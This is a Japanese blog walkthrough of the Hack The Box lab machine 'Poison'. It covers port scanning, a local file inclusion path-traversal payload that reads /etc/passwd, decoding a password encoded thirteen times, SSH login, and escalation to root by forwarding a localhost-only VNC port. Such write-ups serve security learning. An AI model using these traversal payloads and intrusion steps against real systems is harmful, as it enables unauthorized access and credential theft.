家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

【Hack The Box】Poison

偵察/スキャン

nmapでポートスキャンを行います。

┌──(kali㉿kali)-[~]
└─$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.84 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p$ports 10.10.10.84
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.10.84
Host is up (0.20s latency).


PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.86 seconds

 

TCP22/80が開いていることがわかります。

ブラウザでアクセスすると以下のページが表示されます。

ブラウザでのアクセスの様子

「Scriptname」にページ内に記載のあるファイル名を入力し「Submit」すると結果が表示されるようです。

「listfiles.php」と入力して実行すると、気になるファイル名が表示されます。

listfiles.phpの実行結果

pwdbackup.txtの実行結果

パスワードが13回エンコードされているようなので、以下のプログラムで13回デコードします。

from base64 import b64decode


str="Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=" 


for i in range(13):
    str=b64decode(str)


print(str)

 

実行すると以下の文字列を取得することができます。

Charix!2#4%6&8(0

 

また、WebページではLFIの脆弱性があるようです。他にもアクセスできるファイルがないか探索します。

python3 lfi2rce.py --linux 10.10.10.84 /browse.php?file=../../../../../..  --error "failed to open stream" -v

※file以降の部分はエラーメッセージの内容をもとに指定します。

探索しているディレクトリの情報

「/etc/passwd」にアクセスできるようです。

/etc/passwd実行結果

最後の方を見ると「charix」というユーザがあることがわかります。
このユーザを使い、SSHでのアクセスを試みます。

 

補足:LFIについて

エラーページにも記載がありますが、include関数は絶対・相対パスを指定して外部ファイルを読み込むことが可能です。

そのため、通常以下のようなリクエストを処理するページに対し、

http://example.com/script?file=index.php

LFIでは以下のようなリクエストを送ることでマシン上の他のファイルを閲覧することが可能となります。

http://example.com/script?file=../../../etc/passwd

 

アクセスの取得

「charlie/Charix!2#4%6&8(0」でSSHアクセスすると、「secrete.zip」というファイルがあります。

このファイルをKali側に送ります。

┌──(kali㉿kali)-[~]
└─$ scp charix@10.10.10.84:~/secret.zip ./
(charix@10.10.10.84) Password for charix@Poison:
secret.zip                                                                                 100%  166     0.4KB/s   00:00    
                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ ls
secret.zip 

unzip(パスワードは上記のもの)して内容を見てもよくわかりませんでした。

secretの中身

 

権限昇格

アクセス後に以下のコマンドを実行してポートとプロセス情報を調べます。

┌──(kali㉿kali)-[~]
└─$ 
charix@Poison:~ % sockstat -4 -l -P tcp
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS      
www      httpd      809   4  tcp4   *:80                  *:*
www      httpd      807   4  tcp4   *:80                  *:*
www      httpd      806   4  tcp4   *:80                  *:*
www      httpd      805   4  tcp4   *:80                  *:*
www      httpd      803   4  tcp4   *:80                  *:*
www      httpd      800   4  tcp4   *:80                  *:*
www      httpd      799   4  tcp4   *:80                  *:*
www      httpd      796   4  tcp4   *:80                  *:*
www      httpd      783   4  tcp4   *:80                  *:*
www      httpd      782   4  tcp4   *:80                  *:*
www      httpd      776   4  tcp4   *:80                  *:*
www      httpd      757   4  tcp4   *:80                  *:*
www      httpd      756   4  tcp4   *:80                  *:*
www      httpd      755   4  tcp4   *:80                  *:*
www      httpd      748   4  tcp4   *:80                  *:*
www      httpd      740   4  tcp4   *:80                  *:*
www      httpd      719   4  tcp4   *:80                  *:*
www      httpd      716   4  tcp4   *:80                  *:*
root     sendmail   642   3  tcp4   127.0.0.1:25          *:*
www      httpd      641   4  tcp4   *:80                  *:*
www      httpd      639   4  tcp4   *:80                  *:*
root     httpd      625   4  tcp4   *:80                  *:*
root     sshd       620   4  tcp4   *:22                  *:*
root     Xvnc       529   1  tcp4   127.0.0.1:5901        *:*
root     Xvnc       529   3  tcp4   127.0.0.1:5801        *:*

 

nmapでは見えていませんが、rootの権限で自分自身(10.10.10.84)からのVNC接続が可能なようです。

しかし、自分自身からの接続しか受け付けていないため、sshポートフォワーディングをします。

ポートフォワーディングでは、ローカルのポート接続からあるサーバを踏み台にして直接アクセスできない別のサーバのポートにアクセスすることが可能です。

sshによるポートフォワーディングは以下のようなコマンドで実行します。

ssh [踏み台サーバ] -L [自分自身のポート]:[目的のアドレス]:[目的のポート]

今回の場合は以下のコマンドになります。

コンソール①:ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901

コンソール②:vncviewer -passwd secret 127.0.0.1:5901  

 

上記のコマンドでSSH接続後に、Kali側でvncviewerを実行、パスワードにsecretファイルを指定して自分自身の5901ポートにアクセスすると、宛先のサーバ:ポートに転送されます。

 

SSHポートフォワーディングの流れ

ここまですると「root.txt」を確認することができます。

・・・VNC viewerのコピーってどうやるんだろう。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

hrkworks.com

news.mynavi.jp

qiita.com

sanposhiho.com